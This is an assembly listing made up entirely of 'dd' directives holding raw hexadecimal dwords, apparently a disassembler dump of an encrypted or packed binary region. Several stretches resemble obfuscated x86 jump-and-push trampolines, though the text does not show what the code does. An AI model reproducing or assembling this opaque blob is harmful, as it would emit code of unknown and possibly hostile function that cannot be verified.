dd 0B395A1h, 0A7ECABDAh, 0B2915D20h, 96B1F46Bh, 55207520h
dd 0F26BB79Bh, 9692A5BCh, 3A7594A1h, 9FB79960h, 0B599BD32h
dd 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h, 0F94E0097h, 9FA5B4h
dd 0F07B6B5Ch, 8A924Ah, 45F352D0h, 0A3F653F5h, 44D6D979h
dd 45E3AFF1h, 0D77D41F4h, 9792B000h, 0FD756BBFh, 96BFCF60h
dd 0B293BCF9h, 57207D20h, 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h
dd 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h
dd 1E80097h, 3D94E7A6h, 82F48332h, 20E916BEh, 68000013h
dd 93AF20Ah, 0FA8E5BE9h, 0F30A68FFh, 51E9093Ah, 68FFFA8Eh
dd 93AF3C9h, 0FA8E47E9h, 0F52568FFh, 3DE9093Ah, 68FFFA8Eh
dd 93AF5CAh, 0FA8E33E9h, 0F67A68FFh, 29E9093Ah, 68FFFA8Eh
dd 93AF71Dh, 0FA8E1FE9h, 0F7DB68FFh, 15E9093Ah, 68FFFA8Eh
dd 93AF8D3h, 0FA8E0BE9h, 0FAB368FFh, 1E9093Ah, 68FFFA8Eh
dd 93AFBA1h, 0FA8DF7E9h, 0FD2568FFh, 0EDE9093Ah, 68FFFA8Dh
dd 93AFE78h, 0FA8DE3E9h, 1368FFh, 0D9E9093Bh, 68FFFA8Dh
dd 93B0111h, 0FA8DCFE9h, 0B51240FFh, 0E4FD70E8h, 0B32E41B7h
dd 0D9FE76EAh, 0B4253CC4h, 0AB5F2CE7h, 27627B2h, 0A92F6C69h
dd 0EF712AB7h, 93356673h, 501FA53Bh, 8A1B12FBh, 0AE2B4749h
dd 445DD143h, 653D8857h, 64343B69h, 96F21503h, 11BC208h
dd 0C430B613h, 0DB69880Eh, 13011BF5h, 658C0D25h, 8F627FF3h
dd 2EC9BB2Ah, 37100461h, 928523D6h, 2591h, 0EB154200h
dd 0F78A6A77h, 0CAD8F4ACh, 1503725Bh, 64F4FFA1h, 13011162h
dd 0F9D2C223h, 92852994h, 0CFD3h, 2B47B400h, 1D9F43AEh
dd 0DC609306h, 0A8FA618h, 0E0F975E7h, 227A94ECh, 9488439Dh
dd 0F36FE160h, 7827B5E6h, 0B81C362Bh, 6C623BA4h, 38BCD952h
dd 0C62DAAC6h, 16B66E39h, 3530588h, 0A8F5FB15h, 49E48C17h
dd 0A31FA150h, 4DB3A280h, 9438B65Fh, 0CBF6804Eh, 5A72740Bh
dd 707B4122h, 0EE06DAB5h, 20B9B04Ah, 6D6C057Bh, 0A2C6DD79h
dd 796100E9h, 10E7h, 0E1BA1F3Dh, 697021Fh, 0DBC0DD52h
dd 0F8C0D25h, 0D4C9D049h, 41D8B2C7h, 0A6BD4358h, 78F66A33h
dd 0A2BE425Bh, 0CC06835h, 0FB4FECD6h, 18BBE812h, 0A032AD15h
dd 763D1155h, 62150C7Eh, 355B763Ch, 944A721Ch, 1C355B2Eh
dd 846A842Ah, 545E8448h, 501C355Bh, 0FD1A64Eh, 36158613h
dd 0A12BB915h, 951C3641h, 4550E313h, 3428819Dh, 2AC448ABh
dd 23AB45C7h, 371927Dh, 0D9506615h, 35C32EC0h, 13011193h
dd 0EAE3D154h, 928529A3h, 0B2C4h, 60FCFE00h, 0FCF87C77h
dd 0AE2B4755h, 4158D143h, 417322B2h, 69931C36h, 930DE9F0h
dd 7C19129Fh, 0BBB72972h, 7D48D31Eh, 296529A5h, 363E517Bh
dd 53A3451Ch, 365BABDh, 0ADC63815h, 0AF47C928h, 21BEDF01h
dd 0D00EBE96h, 0BCCCA07h, 0C9F3DBFDh, 5A544950h, 0E0A1C860h
dd 97EF0F29h, 0CD4FA24Ch, 1BBEB729h, 0A34529CBh, 452DB4E9h
dd 0FE7h, 0E1BA1F3Dh, 697021Fh, 0DBC0DD52h, 0F8C0D25h
dd 0D4C9D049h, 41D8B2C7h, 0A6BD4358h, 78F66A33h, 0A2BE425Bh
dd 0CC06835h, 0FB4EECD6h, 18BBE812h, 0F2AB2E47h, 6852903Ch
dd 5C1C3641h, 2C40BA3Ah, 4749EAB3h, 0D143AE2Bh, 0A157445Dh
dd 41BB138Eh, 0C044AF2Ah, 273BAD34h, 2D21E1BAh, 9D31E9BCh
dd 3553407h, 5B724A15h, 1081B6F0h, 9E40EE06h, 0DFDDE07Eh
dd 0A3F6E286h, 787B66FBh, 0F6D2FAF4h, 0D425A5C6h, 53A36022h
dd 43DA12BDh, 31C0E616h, 0D24B13A6h, 0A5B5FFA5h, 2FB124ABh
dd 19F2FC1h, 1D839D0Fh, 0EF11BDE3h, 54666673h, 6136BEDBh
dd 0CE16839Fh, 0E85374F4h, 28200AA9h, 7E00000Fh, 32A6F7DCh
dd 87F9A23Fh, 28B0EDE8h, 82F6A730h, 0E6ADEEEBh, 5D7CF595h
dd 36A3B840h, 607DF365h, 30A9C53Bh, 0DB09C56Bh, 12FB4EF1h
dd 4713B8E5h, 0B843AE2Bh, 0B9935EDh, 15034090h, 75594264h
dd 3638130Dh, 37BF344Ah, 8D4119ACh, 0CDB5D857h, 329A3C0Bh
dd 0E80C9588h, 0B9F5DB69h, 2FB61C35h, 964C8045h, 1C35B92Ch
dd 6175828h, 93C41646h, 94F9995Dh, 0D3895044h, 55h, 0AA65CFAFh
dd 0B24639A8h, 9B2E9B42h, 41B903A1h, 0FFAB1C36h, 0F0ED4626h
dd 48A6487Ah, 9F565E84h, 484E1502h, 0F7E47A84h, 60FE00A6h
dd 0F8FC8073h, 11F626Ah, 0FD9A9613h, 0BCE2A6A0h, 13011FF6h
dd 1FDCE6FCh, 0D6D81301h, 900AEAECh, 8F2019Eh, 0E57h, 0C39B2E49h
dd 94FFBF0Bh, 8335D7BCh, 4ED05E96h, 0C2150CA2h, 120EB01Ch
dd 0CC601885h, 61C9F3B1h, 1BBD12FBh, 6E07F9D5h, 0D2E576Bh
dd 46A5F16Dh, 11A42FAEh, 0B6758F0Bh, 2EC069Bh, 2BEFECAh
dd 0DAF729D2h, 0EEEB8678h, 0E5157806h, 0B9150BD1h, 5FFB2009h
dd 4DE437Dh, 1C3622BEh, 0AF2844BAh, 0D9FFB541h, 4A57CBF5h
dd 6938F51h, 4F5560EBh, 52642929h, 0B11DD337h, 2E200F3h
dd 0F2F2F415h, 0F2D5FA0Eh, 0CCFAE48Fh, 2200000Dh, 560A9330h
dd 1BDDBEDBh, 7C049904h, 36AAF3E4h, 3A019A3Fh, 4950C941h
dd 2978C54h, 4C49E799h, 0C95894Fh, 0AFF5998Fh, 12FB4D05h
dd 2BEFD401h, 1C3641A5h, 9D31E9BCh, 0CAD8807h, 0BA467615h
dd 94A901CFh, 8E10BE36h, 6E548A3Eh, 6A12FC37h, 0F20CB044h
dd 923C617Eh, 8EBF468h, 0F5FC9D94h, 7797D73h, 2A5E6E6Bh
dd 0FC374E74h, 50A44A12h, 9C932DD1h, 5762F501h, 0B4AD4F7Fh
dd 37D7DD03h, 0CDD312FCh, 804CD023h, 0FC375862h, 0AA4A4C12h
dd 36A9E0FEh, 993F0BC9h, 0AF96494Dh, 0E5CD54E9h, 0D27h
dd 0A1FADF7Dh, 465742DFh, 9B009D92h, 4F4C4DE5h, 94099089h
dd 118F287h, 0E67D0398h, 3836AAF3h, 0E27E029Bh, 0CC00A8F5h
dd 0FB4CAC16h, 0D8FBA812h, 0D802B47h, 717760BCh, 99061AE4h
dd 34289C57h, 809923ABh, 9E56DA19h, 8173821Fh, 50DA85C8h
dd 79BE289h, 2EB10000h, 0D50BC39Bh, 150CAD9Dh, 0C5379719h
dd 0F56B30A9h, 526C6079h, 0AE32C1DEh, 5B23C746h, 0BA736C30h
dd 21AF4766h, 12FB499Fh, 7C19E59Dh, 0FB94B460h, 18A8142Bh
dd 26CE5C7Dh, 7C50089Bh, 61557050h, 3B3DD278h, 0DB6E25BBh
dd 648A0BC8h, 0AFF5C480h, 0B09A19E9h, 0C77h, 514A6FCDh
dd 9607928Fh, 4B504DE2h, 9FFC9D95h, 445940D9h, 91880277h
dd 56CD9308h, 88A65A43h, 52CE920Bh, 1C705845h, 0FB4B3C86h
dd 28AB3812h, 43AE2B47h, 0AD445DD1h, 3EB5203Bh, 0AC4754CAh
dd 82654FBCh, 0F7D0C451h, 894FFD96h, 6F0D1h, 0A52B0200h
dd 0BC1C3641h, 79D31E9h, 150CB1ABh, 0E799EDD5h, 9AAF73F0h
dd 0B01001BFh, 8EC9F8Fh, 0CCCD645Ah, 151FA325h, 35CC58EDh
dd 9D1FAF41h, 0AB41881h, 996E8613h, 0A34E4BE7h, 0F9D58D18h
dd 0C8D7B0EBh, 42A2440Bh, 0E9AFF980h
dd 0D4ECD65Dh, 2A00000Bh, 6EF2AB08h, 43B5E6F3h, 74ECB12Ch
dd 3EC2DBFCh, 32E9B227h, 21B8B159h, 6A6F047Ch, 24B1AF31h
dd 746D0177h, 974D8127h, 12FB4A2Dh, 47577C29h, 5E1EAE2Bh
dd 595FE40Ch, 3E5BD2E0h, 0E86810B0h, 0D5F454A7h, 322EA221h
dd 7AF4EA5h, 12971DC3h, 0D931C36h, 0AFA89CE9h, 89502C5Eh
dd 63C09h, 0AD15CA00h, 0A6F48895h, 48E11F36h, 0D61EA251h
dd 2CA0784Bh, 0F1009D92h, 0BDE3876Fh, 150C0920h, 1910AADEh
dd 0F5EF7180h, 12FBE8CFh, 23D125CBh, 0B3AF517Dh, 6F037526h
dd 0CFF17F72h, 0E612FBE8h, 0DD3FBD3h, 0BC8E776h, 0EFEC827Ch
dd 0BE748004h, 0E8ECCC18h, 72F1E9AFh, 0B1688h, 0E9CE6C00h
dd 0A8312CB4h, 0E7F26DF3h, 0AD2A42B6h, 0E8F168F0h, 0F793E8B3h
dd 0BE425B7Eh, 0F56B30A5h, 0BB3D5E7Bh, 6F613AA7h, 4A3B811Fh
dd 9E2F12FBh, 0AE2B471Dh, 18819C1Eh, 4FE355DCh, 342D9F52h
dd 0D221B8B5h, 0DF51A04Eh, 0B1AF5144h, 0F568CD24h, 96676C0Fh
dd 0FD60ADAEh, 0F00A894Fh, 0F916079h, 57B40E7h, 328A0000h
dd 159AEC77h, 0D37A7A6Ah, 0A12BB915h, 0D11C3641h, 2AAE455Ch
dd 0B31BE898h, 4DADD462h, 0F6BD53A3h, 151C360Ch, 0C602CA82h
dd 677D3834h, 1C360C5Dh, 5A995759h, 36901ED6h, 2A150C7Ch
dd 5E844884h, 12FB7C54h, 0B5724E50h, 0AEB2DC34h, 6327D323h
dd 1FD7C259h, 7328B1ADh, 0EBD10FBBh, 0DF12FC11h, 0AA4950C9h
dd 3B36C826h, 48E4569Eh, 8C17A44Fh, 3C8F8D4h, 1C573AD6h
dd 0AA2F46B8h, 0D9009E4Ah, 8F0BC899h, 69B1DD09h, 45ECE9B0h
dd 0A1E5Dh, 0E1C67400h, 0B02944BCh, 0DFFA75EBh, 0B5223ABEh
dd 0E0F970E8h, 0FF8B00BBh, 0B62A7366h, 0FD8318BDh, 0B3257663h
dd 0D77922BFh, 49E3E9F7h, 0C6D712FBh, 0AE2B4705h, 0C1DF9F43h
dd 0C96CEC70h, 0BFB32DC9h, 0EF45A8F4h, 915FB1DAh, 0B04AF262h
dd 8AD71FB8h, 6673EF9Ah, 3C901666h, 0F8C47BCBh, 95271FFCh
dd 70F4FF9Ah, 0C8B1DC84h, 0E6B68950h, 15000001h, 43AE2B47h
dd 88445DD1h, 41149E44h, 8E101C36h, 0E3B69166h, 0F7DBA32Bh
dd 9F902EBAh, 43610DE9h, 1503311Ch, 2079A0D0h, 0D5F170B4h
dd 8648D81Bh, 471300A4h, 179D4387h, 131300A4h, 281C698Dh
dd 859ADE2Fh, 498992h, 154A0000h, 0BE668BADh, 59A71F32h
dd 9216DDC4h, 0CC4CF62h, 32F322C0h, 0F7091503h, 13955C79h
dd 0C91F1DDh, 99143B7h, 0CD5BE212h, 13013CEBh, 924B39ACh
dd 9284FF3Bh, 0E1968D2Fh, 148F9C3h, 5EBED13h, 1304AF1h
dd 47890000h, 6C568C2Bh, 681C3641h, 6824A846h, 41347E24h
dd 0AE301C36h, 36418E34h, 0FB748A1Ch, 5F9113DEh, 8DA41897h
dd 3F58D0EAh, 36411FA5h, 0F25C191Ch, 86DB1D83h, 78549A3Ch
dd 0F0C7CD48h, 0B83CCFBFh, 3EABC739h, 0B93BB623h, 8259737h
dd 0EE6A3191h, 0A02247A5h, 5929CD54h, 0AF807221h, 0B2273C7Eh
dd 0C333BD3Fh, 0E39ED549h, 0AE2B44FAh, 0CD7B312h, 9EEAE2h
dd 1C357ABAh, 0EFCC28AEh, 35A1724Dh, 118EA21Ch, 0E9D311BDh
dd 0DD1C3555h, 815E3BBBh, 0E6E5E36h, 0D63B7210h, 0FD873BDDh
dd 0F3D440E8h, 0E301AD49h, 1501C578h, 26626A6Ch, 0FEA25278h
dd 0EFEC8212h, 0C9F3B1D5h, 0BD12FEA2h, 7D21D51Bh, 0AEEFEA83h
dd 0F478332Ah, 8BB12B18h, 727C1912h, 0D534687Ch, 0CA69F2D7h
dd 83EE0h, 1A69400h, 5049E49Ch, 0FF9A954Bh, 5542DA9Eh
dd 999048h, 1FEBA09Bh, 560A9306h, 1DE3B8DDh, 53059603h
dd 0F7D9C2DFh, 47C30997h, 26B712FBh, 0AB2E47A5h, 93396723h
dd 0C31C3641h, 3FC130ADh, 0B6936385h, 0ECB12E42h, 0FC247A42h
dd 62CCF97Fh, 2B47EB92h, 325E1EAEh, 4BB779E2h, 48AB3428h
dd 43CA2AC4h, 57445DD1h, 29C2Bh, 0CB655700h, 55A123CEh
dd 0C39B2EAEh, 0D50BBF0Bh, 1C3641EFh, 273BC5EBh, 35A43ABAh
dd 43150352h, 0C6569Dh, 0C1130131h, 0F6577064h, 7192850Ah
dd 222h, 208DA31Dh, 95618F08h, 2BB915EEh, 1C3641A1h, 4DE31395h
dd 1C364164h, 74583083h, 0CB18A2Eh, 68648A15h, 0E0BDDA56h
dd 0B33296E6h, 0BDE83069h, 2EABC739h, 0C56D38C3h, 0FBF31A8h
dd 0C8E70AD1h, 0CD8FE0Bh, 0E9AFF6CEh, 503A24CFh, 0A6000007h
dd 0CA8E0FB4h, 8F514A57h, 0E0980590h, 8A4E4F48h, 9E950693h
dd 95041DEDh, 0BEDB5008h, 98051BDDh, 0F8E17D03h, 0C3E1ADA3h
dd 12FB46F9h, 47DBE0EDh, 9F43AE2Bh, 420FB5EBh, 0E50B1C36h
dd 16839F11h, 0EDF469DBh, 19E9206h, 0DCC85DF2h, 8A7AEB19h
dd 0D9E301CDh, 0CD1C3641h, 0BDB12BCBh, 41D6DC02h, 0C6DC1C36h
dd 1C3641FCh, 0CACCF6F8h, 7AD37724h, 0ED894FF9h, 15Ah
dd 0BE2B479Eh, 37BA34A1h, 23A93793h, 171C3641h, 77EB6591h
dd 396316Ah, 17D9C45Bh, 0AD2C45B7h, 8632C246h, 3641558h
dd 0EE50B15h, 11B387Eh, 0B8ACF913h, 85236E9Fh, 3EF992h
dd 2EDA0000h, 0D50BC39Bh, 1503724Ah, 25C928AEh, 11913B69h
dd 63851301h, 11BBFD93h, 297C1301h, 506A1E3Bh, 0AE32C1DEh
dd 1118E34h, 29AEC613h, 5A7C46CAh, 299BF29Ah, 0D1CC9285h
dd 0FB000000h, 43AE2B47h, 8D4158D1h, 4119A341h, 8B0D1C36h
dd 0FC70E46Bh, 809C10E3h, 7B68617h, 291C3610h, 37EFAC35h
dd 0EF674D93h, 3D631C35h, 0C39B2EB9h, 647DF10Bh, 9B061B8Dh
dd 0DA1AD458h, 0A0E9702Eh, 0D9A91501h, 0C2D75788h, 1AF470Fh
dd 219BEFDFh, 8933710Eh, 7D12FEF3h, 0EA5E955Bh, 76886673h
dd 0A11BDBF8h, 53CDEF88h, 0BB29AB46h, 12FEF411h, 41B02941h
dd 0DFE305BFh, 86DC0691h, 0BCE10F19h, 38AC2D44h, 0F2D806F0h
dd 0CC1C06ADh, 22000005h, 560A9330h, 1BDDBEDBh, 7C049904h
dd 36AAF3E4h, 3A019A3Fh, 4950C941h, 2978C54h, 4C49E799h
dd 0C95894Fh, 0AFF5998Fh, 12FB4505h, 47EFD401h, 6EF2AB2Eh
dd 5B7EF5F2h, 0E80B8EA5h, 22118A64h, 43AE2B47h, 57445DD1h
dd 482Bh, 2B475C00h, 0EB9F43AEh, 0B6CC893h, 0EAF8677Bh
dd 1C35C6E0h, 0A822D2D4h, 0FC1DFDB4h, 0D45F5F4Ch, 0F372D71Ah
dd 0DDFA7601h, 6C206C0h, 360EF2D8h, 22C0E61Ch, 1C360E98h
dd 1CC20A8Ch, 1C360E96h, 0E80C92h, 38h, 802B4751h, 8F9A8153h
dd 3EE0018h, 35BA5275h, 0EFEC821Ch, 0FE9B9004h, 8C9843F3h
dd 0D03843DBh, 0D1FAEA3Bh, 34A70B68h, 823BB5BBh, 0AAC6B1A3h
dd 11FA12Dh, 0A88B6094h, 0A5BE2B47h, 0B13FC130h, 90F09C42h
dd 9575AF8h, 5A608289h, 4C1C35FBh, 0E0C92E7Eh, 81774D4Dh
dd 7BFDF4EDh, 9948B75h, 38E66EAh, 0AEF4D8B0h, 150BE168h
dd 28D2FA9Ch, 36A3BB34h, 0D1EBE3B8h, 45B73F5Ah, 9D41B029h
dd 5271E5E5h, 4BFEC2DFh, 9D28CC49h, 647A520Ah, 0BD1D721h
dd 43BD1197h, 77E9B22Fh, 6277EEFBh, 10E30D8Fh, 0F5683083h
dd 14CA02ECh, 15030FE5h, 519CDD3h, 0D8F2D5C0h, 4797159h
dd 6DCF0000h, 908D5348h, 53CC9409h, 8BA35546h, 52CB8D0Eh
dd 2C5D5647h, 0C9D2C75Eh, 24791C17h, 0C8D5C25Ch, 1A831C10h
dd 82485636h, 7612FB43h, 2B476665h, 0F76BEDAEh, 999507EAh
dd 0E17FF100h, 948BFDF4h, 297AEA09h, 51C2403Bh, 1B849863h
dd 3A32CC82h, 54B9599Dh, 16894FF9h, 0E50C8DA4h, 41E49363h
dd 0A3000000h, 0BC39B2Eh, 30DF1D5h, 0BC3E515h, 39627FF1h
dd 0E7F26B95h, 559C0519h, 298D23D3h, 591300F5h, 3772ECC5h
dd 0EF8CAD51h, 44AA446Dh, 55DF3888h, 29D7B03Eh, 0F668F0CDh
dd 0D4200AE9h, 71000003h, 43AE2B47h, 57445DD1h, 9D433D88h
dd 1C364117h, 6B638D13h, 3643235h, 6590F015h, 339CA80Fh
dd 0A92FE511h, 0A07F5D25h, 13A228B6h, 10961301h, 0A35B1B0h
dd 0F3D563EAh, 0B41300E3h, 438A4331h, 2792855Ch, 83FD5857h
dd 52A2AD41h, 20A3h, 9B2EE400h, 4AD50BC3h, 0AE150372h
dd 953BC928h, 56130111h, 0A9E4E5CFh, 0BE928529h, 0D7h
dd 0AE2B470Dh, 4158D143h, 0E3FE738Dh, 0E9688C10h, 46A3BB45h
dd 0B044AA2Fh, 9787223Eh, 2BFFE64Ah, 98F0373Ah, 0AF883E28h
dd 223EB241h, 0BF31A8C5h, 268FFEDEh, 8DA11C36h, 5DD18714h
dd 3C388844h, 138EA184h, 627AD9AFh, 35800B92h, 3433715Dh
dd 0E815029Ah, 0DFB48098h, 9A543AC7h, 7B536601h, 1E9C8D53h
dd 16980BCCh, 859306B6h, 606507E6h, 5FD6E894h, 869F613Ah
dd 0CAC9D313h, 8D14E9A2h, 2DEA5h, 0A1063400h, 0F0E984FCh
dd 9F3A35ABh, 0F5E27AFEh, 0A03930A8h, 0BF4B40FBh, 0F66A33A6h
dd 0BD43587Dh, 0F36536A3h, 9739627Fh, 4123A937h, 861712FBh
dd 0AB2E4745h, 0A9C23CF2h, 0B802A02Ch, 0AC1C3641h, 0DC50CA2Ah
dd 4EB30BC3h, 338E8502h, 618F0A27h, 2E13B895h, 0D50BC39Bh
dd 1503724Ah, 1AA428AEh, 0D85C9704h, 0C107951Ch, 82130111h
dd 0B5183123h, 0B2928529h, 0D4h, 0AE2B47E1h, 41D9F43h
dd 0E00E8BA5h, 16839A14h, 0ADC537DBh, 6B3AC82Ch, 0CD1C3641h
dd 5B534851h, 0A33AB23h, 0DAF26E7Dh, 3551FEC4h, 0F4FA1Ch
dd 0C905928Eh, 51D5DF05h, 150D1C35h, 5C983E84h, 0A77F4AD5h
dd 773D6327h, 731C3551h, 0A9E5896Dh, 0BEF163D9h, 12E29675h
dd 2F4E17Ch, 8C119715h, 9C30E8BBh, 0CC9E0006h, 6F02F40Bh
dd 2F1EE82h, 4E7E707Eh, 7724B5ACh, 75716801h, 0E9A3725Dh
dd 0E0F9E180h, 36000001h, 7AFE9F04h, 0DFA1FAE7h, 90485540h
dd 0DA9EFF98h, 4E455643h, 0C5D44D3Dh, 8E0B20D8h, 0C8D54B0Dh
dd 88110DD3h, 33711D13h, 12FB4089h, 156B507Dh, 41A12BB9h
dd 13951C36h, 0F9F069E3h, 0F7797861h, 302BD5F9h, 47C51A5h
dd 7D2E6F68h, 43AE2B47h, 0A5165DD1h, 0C590F4D1h, 0DEA2FBF5h
dd 119E5542h, 0CCF6AC86h, 0C81C35B3h, 0C804C826h, 0A2D57BF8h
dd 68965809h, 760CE8F1h, 1502F33Bh, 6717B739h, 1C1744A2h
dd 0B0A04979h, 7A6AE90Dh, 0DC503B29h, 0A3B903A1h, 2BAD1300h
dd 0BC07D8C5h, 57BAE8E4h, 0BD0BCDA4h, 5632D81Bh, 35A38248h
dd 8470761Ch, 8199160Ah, 9957D918h, 0E4938B35h, 35A3F4BEh
dd 0EEF01Ch, 8876FF1h, 58D3EDA1h, 0A33F851Bh, 0B53B1C35h
dd 0CA34B83Bh, 61AE4653h, 6C246F73h, 0A3BF4260h, 0B3351502h
dd 0DDFA76EAh, 0ED8CA216h, 0A40DB7h, 9E70913h, 7652FAEAh
dd 0A36268h, 0A4505613h, 9E92654Fh, 0CAB29C01h, 155ECB23h
dd 0DF72827Fh, 12D0FCD4h, 0BCD9E97h, 7ADF397h, 31C355Fh
dd 556B19DDh, 0B133BEDBh, 0BA0EB43Fh, 355E9E24h, 0E0149A1Ch
dd 0E0B7F26Eh, 14253B8Dh, 0C3B140AEh, 2B7E6252h, 712F5B73h
dd 1C35864Bh, 6369773Fh, 571C3586h, 0C9619F51h, 6A7824D0h
dd 1502B24Fh, 8D5A4365h, 346A623Ah, 0BD71AFAh, 790881Eh
dd 468668ECh, 0DA565C82h, 5C521C26h, 0E31DD3C4h, 28A74F4Ah
dd 7E1FB8B4h, 958966FAh, 810FE20Ch, 3A45B85h, 867163C2h
dd 28B0EDEAh, 0D448AB34h, 44B83B5Ch, 0CF41B029h, 0FAAC4752h
dd 5796B34Bh, 81D2B0CCh, 39AAD893h, 33ACC04Bh, 0BB1EF9Bh
dd 0FFFCAB70h, 6FA329B7h, 1197FCABh, 0BE4217DFh, 0D4BE35A2h
dd 3, 47844F35h, 0CF41B015h, 39AB4653h, 0C537BA27h, 54C82BAEh
dd 0C335BCDDh, 50C42FAAh, 0C034BFD8h, 4DBF32AFh, 5D2AC9D0h
dd 619F68h, 240C8900h, 0C181E189h, 4, 8704E983h, 685C240Ch
dd 0E70h, 68241C89h, 7C76h, 50242C89h, 0DA3EAD68h, 5ABB582Eh
dd 1DA60B2h, 0EC8358C3h, 24248904h, 4240483h, 155685Dh
dd 4890000h, 8B824h, 0E8010000h, 0FF581889h, 835D2434h
dd 1C8B04C4h, 0E3895324h, 4C381h, 0C3830000h, 241C8704h
dd 7B4EE95Ch, 0FC69FFFAh, 0E93CD67Ch, 0B8844FC0h, 93B0316h
dd 0E0FFC503h, 2E1F3AABh, 2535FAA0h, 4DFCDCC5h, 796B96FEh
dd 310F88Bh, 61CCA75Dh, 3C113F0Fh, 107C2523h, 4F6536F4h
dd 14E8h, 0E0E82D00h, 829F7580h, 9EA36365h, 41309F6h, 35FF5BAEh
dd 11810F8Bh, 0E9000000h, 0Ch, 0C4AD99E0h, 6EE27565h, 0DF157FD2h
dd 0E8E0F5Ah, 0E8000000h, 6, 9C3CBBCAh, 5F50A5AAh, 6BC2815Eh
dd 81000070h, 1FD63FE3h, 1BE26828h, 0B70F0000h, 0B70F58F6h
dd 0F0A8BF3h, 38Bh, 0F2BF0F00h, 0EC9F181h, 0B70F6632h
dd 0D1C181DBh, 0F3E5325h, 0E981D8B7h, 40537E72h, 816651F9h
dd 8FEBD4F7h, 8E902h, 5E270000h, 0E64A60BBh, 0EA83A8BBh
dd 14E86001h, 57000000h, 90F3CC98h, 0C100D504h, 0D51E7EECh
dd 5649D822h, 6035A8D0h, 8B665E61h, 4A4A61F0h, 0D98B664Ah
dd 11850F48h, 0F000000h, 1DE9F9B7h, 9000000h, 7BB38C31h
dd 236C5E9Eh, 9D5420BFh, 0FF7BE94Fh, 0A34FFFFFh, 50342A6Ah
dd 72DACB7h, 5B78D8Dh, 6A093Bh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 150424h, 55450000h, 897AB4C3h, 35082DBDh
dd 298D8909h, 6A093516h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 71C5C356h, 51B89698h
dd 0F4FB060h, 68Dh, 830F00h, 61000000h, 287D85C7h, 6F040935h
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
dd 57470000h, 40EBF1C3h, 8166096Fh, 897EE1D3h, 35062985h
dd 5585C709h, 93522h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 16042444h, 43000000h, 0F0DEC353h, 0B1858B7Fh
dd 0FF093521h, 350D15B5h, 50006A09h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1804h, 0C3504000h, 3708501Fh
dd 5CE8107h, 3018F37h, 351C6D85h, 0F3816609h, 95FF6478h
dd 9350D05h, 3E9B529h, 6A0935h, 82995FFh, 0C08B0935h, 1F4F4CEBh
dd 0E60716AFh, 0D837C39Eh, 0DA0CF444h, 28413722h, 0FDD15AFAh
dd 8008B3CBh, 3B8EB88Dh, 4A23A583h, 3C1A6CA7h, 9407244Dh
dd 99A1ADAh, 6823E32Fh, 0BD6F34B7h, 0DCEE8650h, 2BD66547h
dd 4EF65D10h, 0D725D152h, 2C70779Ch, 4EB5045h, 194EDCF7h
dd 471E9h, 0A1063400h, 0F0E984FCh, 9F3A35ABh, 0F5E27AFEh
dd 0A03930A8h, 0BF4B40FBh, 0F66A33A6h, 0BD43587Dh, 0F36536A3h
dd 9739627Fh, 3B23A937h, 861712FBh, 0AE2B4745h, 4158D143h
dd 0F88A45Ch, 0E3FC70E4h, 18819C10h, 209A74D9h, 0E0648F08h
dd 22D5BF14h, 540C910Eh, 0BD11BDDAh, 36419D27h, 0DF17991Ch
dd 755C240Ah, 95ECB0CBh, 352BA551h, 5CD749A8h, 59CABA39h
dd 118EA06Bh, 3F58D48Ch, 0E4F56D8Fh, 0E46B8B0Dh, 35B87154h
dd 0BFA5781Ch, 920F209Ah, 7919DD5Fh, 89508314h, 0CACF6456h
dd 417B2Ah, 474C0000h, 0B543AE2Bh, 1C364211h, 3C1D0716h
dd 894FFA11h, 156h, 2A473500h, 5DD044AFh, 233BAD44h, 56C93BB6h
dd 3C34A84Bh, 0FB68589Bh, 409D6E09h, 158CA154h, 1C9E88h
dd 71ED5F97h, 47803368h, 0D448AB2Eh, 43B14059h, 1E17E2D2h
dd 0C25E227Bh, 0B5AA1ED5h, 0BAE8A428h, 1C364210h, 8B12E204h
dd 559C0519h, 41C9F3B1h, 1BBD1C36h, 0A25148E5h, 787361B2h
dd 0A5A68E17h, 894FFF78h, 0A40Fh, 2841BB00h, 559042B1h
dd 0F39C78C2h, 58F7FFF1h, 23AB2E47h, 41933967h, 61871C36h
dd 859A0E95h, 41E2E8F6h, 0E0D61C36h, 539D534Ch, 0F8EC39A0h
dd 0CBF1AFDBh, 0BF1C3641h, 41E3E9F7h, 0D1D71C36h, 0CC65D71Fh
dd 1108D0CDh, 38884488h, 0B406EDD7h, 5AF35D6h, 3D1C363Ah
dd 0B93BB623h, 9211E50Bh, 3D3E94ECh, 0B63D58D7h, 752D8E32h
dd 78F06A8Ah, 34B1945Fh, 5D568740h, 51318950h, 62000000h
dd 48AB2E47h, 0B63D5AD4h, 1F14A61Eh, 1F5777Ah, 0F903C0B4h
dd 7A7A67h, 245C7069h, 24B42781h, 7855A17Fh, 0AF2A47D3h
dd 4211B444h, 0AE181C36h, 6E86130Ch, 0F31A3321h, 74894FF9h
dd 10h, 5E647A4Eh, 5A1C364Dh, 27CACF64h, 4AB4BA5h, 46AD2847h
dd 0B2415ED2h, 6E00FAC2h, 0C2FE8271h, 8D8CC665h, 0C10EE6C7h
dd 0AA3728D3h, 8B4356F1h, 0D7329D43h, 0A0461502h, 5643DF51h
dd 0ECED8476h, 9D9305h, 75816FF1h, 534CE098h, 97AC10A0h
dd 6BB81300h, 0D7928E79h, 0AAA90872h, 0B0ED0335h, 496C04F6h
dd 127319Bh, 6D832513h, 41761655h, 52A28A3Dh, 985B44D8h
dd 648F0824h, 8F627FF0h, 6093061Dh, 0BE493BC8h, 3FC130A5h
dd 120253B1h, 0CDCECB67h, 8502B0DDh, 0D1B792h, 2E180000h
dd 0B30BC39Bh, 0D9CDD79h, 0CA6E867Ch, 33D0D14h, 0EE50B15h
dd 8419869Ah, 577760FCh, 2BCBCE65h, 0A33C30A4h, 8173E050h
dd 405D7AF6h, 8539438Ah, 9A952792h, 0AB11CFFFh, 9F13010Eh
dd 474EFDF9h, 7D000000h, 7C7872Eh, 8F2439C3h, 0D697A974h
dd 36BD33D2h, 36AC42B2h, 0B21C35B5h, 8D37C52Ch, 0A41C35B4h
